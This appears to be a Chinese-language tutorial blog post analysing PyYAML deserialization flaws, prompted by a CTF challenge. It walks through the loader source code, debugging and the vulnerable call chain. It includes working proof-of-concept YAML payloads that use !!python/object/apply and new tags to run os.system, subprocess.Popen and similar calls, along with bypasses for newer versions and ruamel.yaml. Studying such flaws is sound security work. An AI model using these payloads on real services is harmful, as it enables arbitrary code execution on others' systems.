PyYaml反序列化漏洞

news2024/10/6 16:18:53

0x01

HDCTF 遇到预期解是考的yaml了,前来学习下

语法

语法就不贴了,其他文章有介绍

语法和 yml配置文件的 语法差不多 就不一一介绍

漏洞成因与利用

PyYaml <= 5.1

在python 中  pyyaml是提供 python  和Yaml 两种语言的转换,与pickle 类似

python -> yaml 序列化过程:

yaml.dump(data)

将Python对象data转换为YAML格式的方法。它将Python对象序列化为YAML格式的字符串,并返回这个字符串。在这个方法中,data是一个Python对象,可以是字典、列表、元组、整数、浮点数、字符串、布尔值等基本数据类型,也可以是自定义的类的实例。

demo

import yaml

data = {
    'name': 'John',
    'age': 30,
    'is_student': True,
    'hobbies': ['reading', 'swimming', 'traveling'],
    'address': {
        'street': '123 Main St',
        'city': 'Anytown',
        'state': 'CA',
        'zip': '12345'
    }
}

yaml_data = yaml.dump(data)

print(yaml_data)

结果:

address:
  city: Anytown
  state: CA
  street: 123 Main St
  zip: '12345'
age: 30
hobbies:
- reading
- swimming
- traveling
is_student: true
name: John

 在此代码设置了 data  字典,我们使用yaml.dump 把data 进行了序列化为YAML格式,并且赋值给 yaml 输出出来,最后看到的就是yaml 格式数据

如果我们的Python 对象中 包含自定义的类的实例 函数等,那么使用yaml.dump方法进行序列化可能会导致安全问题。攻击者可以通过在YAML数据中注入恶意代码来执行任意代码,从而导致应用程序受到攻击。

Yaml -> Python 反序列化过程

yaml.load(data)

学过 pickle 都会明白 load(data)是将YAML格式的字符串转换为Python对象的方法。它将YAML格式的字符串反序列化为Python对象,并返回这个对象。在这个方法中,data是一个包含YAML格式字符串的变量,可以是从文件中读取的字符串,也可以是用户输入的字符串等。

import yaml

yaml_data = """
name: John
age: 30
is_student: true
hobbies:
  - reading
  - swimming
  - traveling
address:
  street: 123 Main St
  city: Anytown
  state: CA
  zip: '12345'
"""

data = yaml.load(yaml_data)

print(data)

输出结果:

{'name': 'John', 'age': 30, 'is_student': True, 'hobbies': ['reading', 'swimming', 'traveling'], 'address': {'street': '123 Main St', 'city': 'Anytown', 'state': 'CA', 'zip': '12345'}}

这段代码是将一个包含YAML格式字符串的变量yaml_data反序列化为Python对象,并将其赋值给变量data。然后,它打印出data,输出反序列化后的Python对象。

load(data, Loader=yaml.Loader)

load(data, Loader=yaml.Loader)是将YAML格式的字符串转换为Python对象的方法,其中Loader参数指定了YAML解析器的类型。

在默认情况下,yaml.load方法使用的解析器是 yaml.SafeLoader,它可以安全地解析大多数YAML格式数据,但是不能解析包含Python对象的YAML数据。

PyYaml<=5.1版本的Loader都有

  • Constructor:5.1版本一下默认此加载器,在 YAML 规范上新增了很多强制类型转换
  • BaseConstructor:不支持强制类型转换
  • SafeConstructor:支持强制类型转换和 YAML 规范保持一致

以 Constructor 加载器为例:

import yaml

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 自定义构造器函数
def construct_person(loader, node):
    # 获取Person类的属性值
    data = loader.construct_mapping(node, deep=True)
    # 实例化Person类并设置属性
    return Person(data['name'], data['age'])

# 将!python/object标签映射到自定义构造器函数
yaml.add_constructor('!python/object:__main__.Person', construct_person)

# 定义一个包含自定义类实例的YAML数据
yaml_data = """
name: John
age: 30
person:
  !python/object:__main__.Person
  name: Alice
  age: 25
"""

# 使用yaml.Loader()方法解析YAML数据
data = yaml.load(yaml_data, Loader=yaml.Loader)

# 输出解析后的Python对象
print(data)

输出结果:

{'name': 'John', 'age': 30, 'person': <__main__.Person object at 0x0000029927ADCBE0>}

这段代码定义了一个Person类,并使用 yaml.add_constructor 方法将!python/object标签映射到自定义构造器函数construct_person上。然后,定义了一个包含自定义类实例的YAML数据yaml_data,其中包含一个名为personPerson类实例。最后,使用yaml.load方法解析YAML数据,并将解析后的Python对象赋值给变量data,最终输出了data的值。

yaml.load_all(data)

load_all(data)是一个函数调用表达式,其中data是一个包含多个YAML文档的字符串。load_all函数是PyYAML模块中的一个方法,用于从一个包含多个YAML文档的字符串中解析出所有的YAML文档,并返回一个生成器对象,每个元素都是一个Python对象,对应一个YAML文档。

import yaml

# 定义包含两个YAML文档的字符串
yaml_data = """
- name: John
  age: 30

- name: Alice
  age: 25
"""

# 使用yaml.load_all()方法解析所有的YAML文档
docs = yaml.load_all(yaml_data)

# 遍历生成器对象并输出解析后的Python对象
for doc in docs:
    print(doc)

输出结果:

[{'name': 'John', 'age': 30}, {'name': 'Alice', 'age': 25}]

这段代码使用PyYAML模块中的yaml.load_all()方法解析包含两个YAML文档的字符串,并输出每个文档解析后的Python对象。

load_all(data, Loader=yaml.Loader)

load_all(data, Loader=yaml.Loader)是一个函数调用表达式,其中data是一个包含多个YAML文档的字符串,yaml.LoaderPyYAML模块中的一个解析器,用于解析YAML文档。

这里以默认的加载器Constructor为例,示例代码:

import yaml

# 定义包含两个YAML文档的字符串
yaml_data = """
- name: John
  age: 30

- name: Alice
  age: 25
"""

# 使用yaml.load_all()方法解析所有的YAML文档
docs = yaml.load_all(yaml_data, Loader=yaml.Loader)

# 遍历生成器对象并输出解析后的Python对象
for doc in docs:
    print(doc)

结果

[{'name': 'John', 'age': 30}, {'name': 'Alice', 'age': 25}]

这段代码使用PyYAML模块中的 yaml.load_all()方法解析包含两个YAML文档的字符串,并输出每个文档解析后的Python对象。

以上是PyYaml<=5.1版本中常见的一些方法实现python和Yaml语言格式的转换的方法,但是往往在这种语言格式的转换的同时,也会存在一定的漏洞点的。

漏洞成因

在 PyYaml <= 5.1 版本下,默认的构造器为 Constructor ,通过 查看其Constructor.py源码中存在对于python的标签解析时的漏洞。

分析一下yaml模块下的 Constructor.py 源码,看看他是如何解析其标签的

这里使用 4.2b4的 太高版本不能实现 

!!python/object标签

!!python/object/new

!!python/object/apply标签

从上面的代码中可以看到" !!python/object/new “ 标签的代码实现其实就是” !!python/object/apply “标签的代码实现,只是最后newobj参数值不同而已,其次可以看到的是这3个Python标签中都是调用了make_python_instance()函数,之后查看该函数
从上述代码中可以看到,该函数
会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令

 我们通过对于这些Python标签源码的分析,可以发现,都调用了make_python_instance()这个函数方法,所以我们接着往下看make_python_instance()

 发现其中又调用了  find_python_name()

 大概就是 会把name 以   '.'  进行分割,分别赋值为模块名和对象名。 如果name中没有".",则会将模板名命名为"builtins",对象名命名为"name",可以利用__import__将模块导入 

漏洞利用

通过上面的分析,也就知道,如果我们的 yaml.load()参数可控,并且在支持的版本中,那么我们就可以利用上述漏洞代码进行攻击

POC

# poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
# poc = '!!python/object/apply:os.popen ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
# poc = '!!python/object/apply:os.system ["calc.exe"]'

# !!python/object/apply:os.system ["calc.exe"]
# !!python/object/new:os.system ["calc.exe"]
# !!python/object/new:subprocess.check_output [["calc.exe"]]
# !!python/object/apply:subprocess.check_output [["calc.exe"]]

断点调试

看其他师傅没有去调试分析,自己也看着一知半解,不知道如何初始化到调用的,那么我就尝试打断点调试下,先是一些普遍的初始化 get_single_data()

后面初始化后 会调用 construct_document()函数,看名字就能猜到,这是要初始化document参数了,跟进 construct_document()

 这里有关键的点,不知道你们发现没有,就是会调用 construct_object(),也就是上面分析的,应该是要进入正题了,继续往下看。

    def construct_object(self, node, deep=False):
        if node in self.constructed_objects:
            return self.constructed_objects[node]
        if deep:
            old_deep = self.deep_construct
            self.deep_construct = True
        if node in self.recursive_objects:
            raise ConstructorError(None, None,
                    "found unconstructable recursive node", node.start_mark)
        self.recursive_objects[node] = None
        constructor = None
        tag_suffix = None
        if node.tag in self.yaml_constructors:
            constructor = self.yaml_constructors[node.tag]
        else:
            for tag_prefix in self.yaml_multi_constructors:
                if node.tag.startswith(tag_prefix):
                    tag_suffix = node.tag[len(tag_prefix):]
                    constructor = self.yaml_multi_constructors[tag_prefix]
                    break
            else:
                if None in self.yaml_multi_constructors:
                    tag_suffix = node.tag
                    constructor = self.yaml_multi_constructors[None]
                elif None in self.yaml_constructors:
                    constructor = self.yaml_constructors[None]
                elif isinstance(node, ScalarNode):
                    constructor = self.__class__.construct_scalar
                elif isinstance(node, SequenceNode):
                    constructor = self.__class__.construct_sequence
                elif isinstance(node, MappingNode):
                    constructor = self.__class__.construct_mapping
        if tag_suffix is None:
            data = constructor(self, node)
        else:
            data = constructor(self, tag_suffix, node)
        if isinstance(data, types.GeneratorType):
            generator = data
            data = next(generator)
            if self.deep_construct:
                for dummy in generator:
                    pass
            else:
                self.state_generators.append(generator)
        self.constructed_objects[node] = data
        del self.recursive_objects[node]
        if deep:
            self.deep_construct = old_deep
        return data

代码有点长,不着急,逐个分析 

        if node in self.constructed_objects:
            return self.constructed_objects[node]
        if deep:
            old_deep = self.deep_construct
            self.deep_construct = True
        if node in self.recursive_objects:
            raise ConstructorError(None, None,
                    "found unconstructable recursive node", node.start_mark)
        self.recursive_objects[node] = None
        constructor = None
        tag_suffix = None

这里进行了几个判断,跟一下可以看到是空的,所以会跳过,然后就进行了三次none赋值 

 继续往下看 

此处  就是循环  yaml_multi_constructors, 然后进行判断,如果字符串以指定的 prefix 开始则返回 True,否则返回 False,匹配到了 'tag:yaml.org,2002:python/object/apply:'

这里 就是做了一个分割的一个处理 

可以说是 将我们的 tag:yaml.org,2002:python/object/apply:os.system 以分号切割了 ,tag:yaml.org,2002:python/object/apply作为前缀,os.system作为后缀。

前缀赋值给了 constructor构造器。

走到此处

调用了  constructor ,会走到 他自己的构造器(因为前面的constructor 已经被赋值成了python/object/apply),所以就会走到 constructor_python_object_apply

 然后默认初始化。调用了 construct_sequence()   往下又会回到

 调用

 

调用自身,暂且没分析出什么操作 

再回到 construct_object()

 data = calc.exe 赋值给了 constructed_objects[node]

最后从此处出来

 接下来调用了  make_python_instance()

 find_python_name()

就来到漏洞点了

分割赋值:

 最后

 调用栈

construct_python_object_apply, constructor.py:606
construct_object, constructor.py:88
construct_document, constructor.py:41
get_single_data, constructor.py:37
load, __init__.py:72
<module>, PocTest.py:18

相比JAVA其实算是很简单的调试分析,断点也比较少,主要就是constructor 的实例化,

从apply =》 make_python_instance()  =》 find_python_name()漏洞的形成,多打断点调试就行了。

PyYaml > 5.1

在PyYaml>5.1的版本之后,如果要使用load()函数,要跟上一个Loader的参数,否则会报错。(不影响正常输出)

其实和PyYaml <= 5.1 版本一样,不过多赘述

这里说明一下 pyyaml > 5.1的有哪些加载器

  • BaseLoader:不支持强制类型转换
  • SafeLoader:安全地加载 YAML 格式的数据,限制被加载的 YAML 数据中可用的 Python 对象类型,从而防止执行危险的操作或代码。
  • FullLoader:加载包含任意 Python 对象的 YAML 数据,FullLoader 加载器不会限制被加载的 YAML 数据中可用的 Python 对象类型,因此可以加载包含任意 Python 对象的 YAML 数据。
  • UnsafeLoader:加载包含任意 Python 对象的 YAML 数据,并且不会对被加载的 YAML 数据中可用的 Python 对象类型进行任何限制。

在PyYAML>=5.1版本中,提供了以下方法:

  • load(data) [works under certain conditions]
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data) [works under certain condition]
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)
  • full_load(data)
  • full_load_all(data)
  • unsafe_load(data)
  • unsafe_load_all(data)

在5.1之后,使用load()进行序列化操作时我们需要在方法里面加一个loader的请求参数,直接使用load请求时会显示以下warning,默认FullLoader:

import yaml
f = open('config.yml','r')
y = yaml.load(f)
print(y)

 

此时,我们需要增加一个loader请求参数

import yaml
f = open('config.yml','r')
y = yaml.load(f,Loader=yaml.FullLoader)
print(y)

漏洞利用

利用subprocess

我们在YAML 5.3.1版本中使用之前的Payload发现已无法实现RCE了,通用的POC不再有效:

 

针对之前的Path1和Path2,我们可以使用subprocess.Popen来绕过,subprocess意在替代其他几个老的模块或者函数,比如:os.system os.spawn os.popen popen2. commands.,而subprocess模块定义了一个类:Popen

class subprocess.Popen( args, 
  bufsize=0, 
  executable=None,
  stdin=None,
  stdout=None, 
  stderr=None, 
  preexec_fn=None, 
  close_fds=False, 
  shell=False, 
  cwd=None, 
  env=None, 
  universal_newlines=False, 
  startupinfo=None, 
  creationflags=0)

  • args: 可以是一个字符串,可以是一个包含程序参数的列表,要执行的程序一般就是这个列表的第一项,或者是字符串本身。
  • bufsize: 如果指定了bufsize参数作用就和内建函数open()一样:0表示不缓冲,1表示行缓冲,其他正数表示近似的缓冲区字节数,负数表示使用系统默认值,默认是0。
  • executable: 指定要执行的程序,它很少会被用到,一般程序可以由args 参数指定,如果shell=True ,executable 可以用于指定用哪个shell来执行(比如bash、csh、zsh等),*nix下,默认是 /bin/sh ,windows下,就是环境变量COMSPEC的值,windows下,只有当你要执行的命令确实是shell内建命令(比如dir ,copy 等)时,你才需要指定shell=True ,而当你要执行一个基于命令行的批处理脚本的时候,不需要指定此项
  • stdin/stdout和stderr:分别表示子程序的标准输入、标准输出和标准错误,可选的值有PIPE或者一个有效的文件描述符(其实是个正整数)或者一个文件对象,还有None,如果是PIPE,则表示需要创建一个新的管道,如果是None,不会做任何重定向工作,子进程的文件描述符会继承父进程的,另外,stderr的值还可以是STDOUT,表示子进程的标准错误也输出到标准输出
  • preexec_fn: 如果把preexec_fn设置为一个可调用的对象(比如函数),就会在子进程被执行前被调用(仅限*nix)
  • close_fds: 如果把close_fds设置成True,*nix下会在开子进程前把除了0、1、2以外的文件描述符都先关闭,在 Windows下也不会继承其他文件描述符
  • shell:如果把shell设置成True,指定的命令会在shell里解释执行
  • cwd:如果cwd不是None,则会把cwd做为子程序的当前目录,注意,并不会把该目录做为可执行文件的搜索目录,所以不要把程序文件所在目录设置为cwd
  • env:如果env不是None,则子程序的环境变量由env的值来设置,而不是默认那样继承父进程的环境变量。
  • universal_newlines: 如果把universal_newlines 设置成True,则子进程的stdout和stderr被视为文本对象,并且不管是*nix的行结束符('/n'),还是老mac格式的行结束符('/r'),还是windows 格式的行结束符('/r/n' )都将被视为 '/n' 。
  • startupinfo和creationflags:如果指定了startupinfo和creationflags,将会被传递给后面的CreateProcess()函数,用于指定子程序的各种其他属性,比如主窗口样式或者是子进程的优先级等(仅限Windows)

from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader) # deserializing data
print(deserialized_data)

 

利用ruamel.yaml 读写 yaml文件

沿用PyYaml>5.1的poc

import ruamel.yaml

poc= b"""!!python/object/apply:os.system
- calc"""

ruamel.yaml.load(poc)

虽然回显报错,但是仍然可以执行

参考

 浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)

PyYaml反序列化漏洞详解 - 先知社区 (aliyun.com)

SecMap - 反序列化(PyYAML) - Tr0y's Blog

python yaml用法详解 - konglingbin - 博客园 (cnblogs.com)

(4条消息) Python笔记-ruamel.yaml读写yaml文件_蜀山客e的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/502879.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++20协程

简介 ​ C20协程只是提供协程机制&#xff0c;而不是提供协程库。C20的协程是无栈协程&#xff0c;无栈协程是一个可以挂起/恢复的特殊函数&#xff0c;是函数调用的泛化&#xff0c;且只能被线程调用&#xff0c;本身并不抢占内核调度。 ​ C20 提供了三个新关键字(co_await…

【DRF配置管理】如何建立swagger风格api接口文档

原文作者&#xff1a;我辈李想 版权声明&#xff1a;文章原创&#xff0c;转载时请务必加上原文超链接、作者信息和本声明。 DRF应用和管理 【DRF配置管理】Django安装和使用DRF框架 【DRF配置管理】如何在视图函数配置参数(一) 【DRF配置管理】如何在视图函数配置参数(二) 【…

C. Enlarge GCD(内存的限制 + 数组的访问速度)

Problem - C - Codeforces Mr. F 有 n 个正整数 a1,a2,…,an。 他认为这些整数的最大公约数太小了。所以他想通过删除其中一些整数来扩大它。 但是这个问题对他来说太简单了&#xff0c;所以他不想自己做。如果你帮他解决这个问题&#xff0c;他会给你一些奖励分数。 你的任…

AntDB数据库携手金蝶Apusic应用服务器, 共促信创产业繁荣发展

日前&#xff0c;湖南亚信安慧科技有限公司&#xff08;简称&#xff1a;亚信安慧&#xff09;与深圳市金蝶天燕云计算股份有限公司&#xff08;简称&#xff1a;金蝶天燕&#xff09;完成AntDB数据库与金蝶Apusic服务器软件V9.0、V10产品的兼容互认&#xff0c;兼容性良好&…

不是吧,3 : 00 面试,还没10分钟就出来了,问的也太...

从外包出来&#xff0c;没想到死在另一家厂子 自从加入这家公司&#xff0c;每天都在加班&#xff0c;钱倒是给的不少&#xff0c;所以也就忍了。没想到2月一纸通知&#xff0c;所有人不许加班&#xff0c;薪资直降30%&#xff0c;顿时有吃不起饭的赶脚。 好在有个兄弟内推我去…

Android WebRtc+SRS/ZLM视频通话(3):安装ZLMediaKit

Android WebRtcSRS/ZLM视频通话&#xff08;3&#xff09;&#xff1a;安装ZLMediaKit 来自奔三人员的焦虑日志 接着上一章内容&#xff0c;继续来记录ZLMediaKit的安装&#xff0c;这里的ZLMediaKit实际上和SRS的功能差不多&#xff0c;都是国内流媒体服务框架使用人数比价多&…

【SpringBoot】MyBatis与MyBatis-Plus分页查询问题

笔者写这篇博客是因为近期遇到的关于两者之间的分页代码差距&#xff0c;其实之前也遇见过但是没有去整理这篇博客&#xff0c;但由于还是被困扰了小一会儿时间&#xff0c;所以还是需要加深记忆。其实会看前后端传参解决这个问题很快、不麻烦。关于这两个框架的分页代码问题主…

物联网|整体介绍|蓝牙4.0BLE信道分析与拓扑分析|物联网之蓝牙4.0 BLE基础-学习笔记(1)

文章目录 课程整体介绍1、蓝牙4.0自身的优点2、开设这门课的重要性3课程的总体规划4.课程目的5.培训对象 蓝牙4.0BLE信道分析与拓扑分析蓝牙4.OBLE信道分析柘扑分析星型拓扑结构:扮演角色广播结构;星型结构的建立过程: 课程整体介绍 为什么我们要开设这么课程呢? 1、蓝牙4.0…

JDK17新特性之--JDK9到JDK17 String 新增的新方法

JDK9之后对String底层存储数据结构进行了重大的修改1&#xff0c;同步也增加了许多新的方法&#xff0c;主要有Text Blocks、chars()、codePoints()、describeConstable()、formatted()、indent()、isBlank()、isEmpty()、lines()、repeat()、strip()、stripLeading()、stripIn…

判断大小端的错误做法

这里不详细讲解大小端的区别&#xff0c;只讲解判断大小端的方法。 1.大端&#xff0c;小端的区别 0x123456 在内存中的存储方式 大端是高字节存放到内存的低地址 小端是高字节存放到内存的高地址 2.大小端的判断 1.错误的做法 int main() {int a0x1234;char c(char)a;if(…

CSS-Flex布局

01-标准流 标准流也叫文档流&#xff0c;指的是标签在页面中默认的排布规则&#xff0c;例如&#xff1a;块元素独占一行&#xff0c;行内元素可以一行显示多个。 02-浮动 基本使用 作用&#xff1a;让块元素水平排列。 属性名&#xff1a;float 属性值 left&#xff1a;…

全志H3-nanopi-duo2开发板GPIO驱动开发

1:获取对应开发板duo2的内核源码 从官网获取 [friendlyarm的nanopi-duo2](https://wiki.friendlyelec.com/wiki/index.php/NanoPi_Duo2/zh#.E5.AE.9A.E5.88.B6.E5.91.BD.E4.BB.A4.E8.A1.8C.E7.9A.84.E6.AC.A2.E8.BF.8E.E4.BF.A1.E6.81.AF.EF.BC.88.E6.96.87.E5.AD.97LOGO.EF.B…

使用开源项目管理系统 Redmine 的优缺点

redmine是什么软件&#xff1f;Redmine是一款基于Ruby on Rails框架开发的开源项目管理软件&#xff0c;具有丰富的功能和高度可定制性。主要功能包括项目管理、问题跟踪、文档管理、时间跟踪以及多种报表。要安装使用Redmine&#xff0c;首先需要搭建Ruby on Rails运行环境&am…

网页和原生程序的交互方案

1 ActiveX和BHO是微软开发且闭源的&#xff0c;仅适用于IE 这里就不讨论了&#xff0c;这种方式会给用户带来很大的安全风险。而且也不符合html5标准&#xff0c;现在已经被市场抛弃。 2 搜索挂接&#xff08;URL SEARCHHOOK) 在window系统中&#xff0c;通过在注册表中&…

3.1 Linux启动Shell

系列文章目录 第1章 Linux Shell简介 第2章 Shell基础 第3章 Bash Shell基础命令 <本章所在位置> 第4章 Bash Shell命令进阶 第5章 Linux Shell深度理解 第6章 Linux环境变量 第7章 Linux文件权限 第8章 Linux文件系统的管理 第9章 Linux软件安装 第10章 Linux文本编辑器…

框架不是框框—应用框架的基本思想

软件构件化是21世纪软件工业发展的大势趋。工业化的软件复用已经从通用类库进化到了面向领域的应用框架。Gartner Group认为&#xff1a;“至少70%的新应用将主要建立在如软件构件和应用框架这类‘构造块’之上&#xff1b;应用开发的未来就在于提供一开放体系结构&#xff0c;…

http状态码301、302及304

http状态码分类&#xff1a; 1**&#xff1a;服务器收到请求&#xff0c;需要请求者继续执行操作 2**&#xff1a;成功&#xff0c;操作被成功接收并处理 3**&#xff1a;重定向&#xff0c;需要进一步的操作以完成请求 4**&#xff1a;客户端错误&#xff0c;请求包含语法错误…

Meta内容总监:Quest最初并非侧重游戏,VR用户画像每年都在变

2019年&#xff0c;随着Oculus Quest的发布&#xff0c;Quest应用商店应运而生。仅仅4年时间&#xff0c;就成为了发展速度最快的VR平台&#xff0c;吸引越来越多的开发者进入到Quest中去&#xff0c;并关注到VR生态。截至去年10月&#xff0c;Quest商店交易规模达15亿美元&…

云计算运维工程师好学吗?

云计算运维工程师作为2023年的热门IT职业之一&#xff0c;不仅在专业本身的技术内容和职业前景&#xff0c;还是整个互联网行业&#xff0c;乃至全行业对于云计算运维人才的需求等方面都有突出的表现&#xff0c;备受追捧的新IT职业。 所以从职业前景还是就业需求&#xff0c;…

2023年第一季度企业邮箱安全性观察

近日&#xff0c;Coremail邮件安全联合中睿天下发布《2023年第一季度企业邮箱安全研究报告》&#xff0c;对2023年第一季度的企业邮箱的安全风险进行了分析。 01、垃圾邮件环比增长21.19% 2023年Q1全国企业邮箱用户共收到各类垃圾邮件7.13亿封&#xff0c;相比2022年Q4季度环比…